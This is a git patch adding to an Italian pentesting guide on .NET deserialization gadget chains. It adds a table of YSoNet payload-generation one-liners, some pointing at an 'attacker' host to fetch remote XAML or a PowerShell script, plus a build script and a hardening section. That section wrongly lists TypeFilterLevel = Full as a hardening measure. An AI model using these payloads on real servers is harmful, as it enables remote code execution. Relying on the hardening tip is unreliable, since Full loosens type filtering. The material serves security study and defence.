From 557004942638041baa6e6588f0932702ec2bc772 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 29 Jul 2025 10:13:47 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/basic-.net-deserializati --- ...er-gadgets-expandedwrapper-and-json.net.md | 51 +++++++++++++++++-- 1 file changed, 48 insertions(+), 3 deletions(-) diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 5cfca7392..2c3557143 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -7,7 +7,7 @@ Questo post è dedicato a **comprendere come il gadget ObjectDataProvider venga ## Gadget ObjectDataProvider Dalla documentazione: _la classe ObjectDataProvider avvolge e crea un oggetto che puoi utilizzare come sorgente di binding_.\ -Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: Questa classe consente di **avvolgere un oggetto arbitrario**, utilizzare _**MethodParameters**_ per **impostare parametri arbitrari** e poi **utilizzare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.\ +Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: Questa classe consente di **avvolgere un oggetto arbitrario**, utilizzare _**MethodParameters**_ per **impostare parametri arbitrari,** e poi **utilizzare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.\ Pertanto, l'**oggetto** arbitrario **eseguirà** una **funzione** con **parametri mentre viene deserializzato.** ### **Come è possibile** @@ -56,9 +56,9 @@ Nota che devi aggiungere come riferimento _C:\Windows\Microsoft.NET\Framework\v4 ## ExpandedWrapper -Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process`, ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process` ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Questa classe consente di **specificare i tipi di oggetti degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\ +Questa classe consente di **specificare i tipi di oggetto degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\ Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_** all'interno di un'istanza di **_**ExpandedWrapper** \_ e **quando deserializzato** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_. Puoi controllare questo wrapper con il seguente codice: @@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` +## Catene di Gadget Avanzate .NET (YSoNet & ysoserial.net) + +La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE catene di gadget che possono essere sfruttate quando un'applicazione esegue **deserializzazione .NET non sicura**. Strumenti moderni per red team come **[YSoNet](https://github.com/irsdl/ysonet)** (e il più vecchio [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizzano la creazione di **grafi di oggetti malevoli pronti all'uso** per dozzine di gadget e formati di serializzazione. + +Di seguito è riportato un riferimento condensato delle catene più utili fornite con *YSoNet* insieme a una rapida spiegazione di come funzionano e comandi di esempio per generare i payload. + +| Catena di Gadget | Idea Chiave / Primitiva | Serializzatori Comuni | YSoNet one-liner | +|------------------|-------------------------|-----------------------|------------------| +| **TypeConfuseDelegate** | Corrompe il record `DelegateSerializationHolder` in modo che, una volta materializzato, il delegato punti a *qualsiasi* metodo fornito dall'attaccante (es. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | +| **ActivitySurrogateSelector** | Sfrutta `System.Workflow.ComponentModel.ActivitySurrogateSelector` per *bypassare il filtraggio dei tipi .NET ≥4.8* e invocare direttamente il **costruttore** di una classe fornita o **compilare** un file C# al volo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | +| **DataSetOldBehaviour** | Sfrutta la **rappresentazione XML** legacy di `System.Data.DataSet` per istanziare tipi arbitrari riempiendo i campi `` / `` (opzionalmente falsificando l'assembly con `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | +| **GetterCompilerResults** | Su runtime abilitati WPF (> .NET 5) concatena i getter delle proprietà fino a raggiungere `System.CodeDom.Compiler.CompilerResults`, quindi *compila* o *carica* un DLL fornito con `-c` | `Json.NET` senza tipo, `MessagePack` senza tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | +| **ObjectDataProvider** (revisione) | Usa WPF `System.Windows.Data.ObjectDataProvider` per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una variante conveniente `--xamlurl` per ospitare il XAML malevolo in remoto | `BinaryFormatter`, `Json.NET`, `XAML`, *ecc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | +| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` in `System.Management.Automation.PSObject` che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | + +> [!TIP] +> Tutti i payload sono **scritti su *stdout*** per impostazione predefinita, rendendo banale reindirizzarli in altri strumenti (es. generatori di ViewState, codificatori base64, client HTTP). + +### Costruzione / Installazione di YSoNet + +Se non sono disponibili binari precompilati sotto *Actions ➜ Artifacts* / *Releases*, il seguente **PowerShell** one-liner configurerà un ambiente di build, clonerà il repository e compilerà tutto in modalità *Release*: +```powershell +Set-ExecutionPolicy Bypass -Scope Process -Force; +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; +iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); +choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; + +git clone https://github.com/irsdl/ysonet +cd ysonet +nuget restore ysonet.sln +msbuild ysonet.sln -p:Configuration=Release +``` +Il `ysonet.exe` compilato può quindi essere trovato sotto `ysonet/bin/Release/`. + +### Rilevamento e Indurimento +* **Rileva** processi figli inaspettati di `w3wp.exe`, `PowerShell.exe`, o qualsiasi processo che deserializza dati forniti dall'utente (ad es. `MessagePack`, `Json.NET`). +* Abilita e **applica il filtraggio dei tipi** (`TypeFilterLevel` = *Full*, `SurrogateSelector` personalizzato, `SerializationBinder`, *ecc.*) ogni volta che il legacy `BinaryFormatter` / `NetDataContractSerializer` non può essere rimosso. +* Dove possibile, migra a **`System.Text.Json`** o **`DataContractJsonSerializer`** con convertitori basati su whitelist. +* Blocca gli assembly WPF pericolosi (`PresentationFramework`, `System.Workflow.*`) dall'essere caricati in processi web che non dovrebbero mai averne bisogno. + +## Riferimenti +- [YSoNet – Generatore di Payload per Deserializzazione .NET](https://github.com/irsdl/ysonet) +- [ysoserial.net – strumento PoC originale](https://github.com/pwntester/ysoserial.net) +- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) + {{#include ../../banners/hacktricks-training.md}}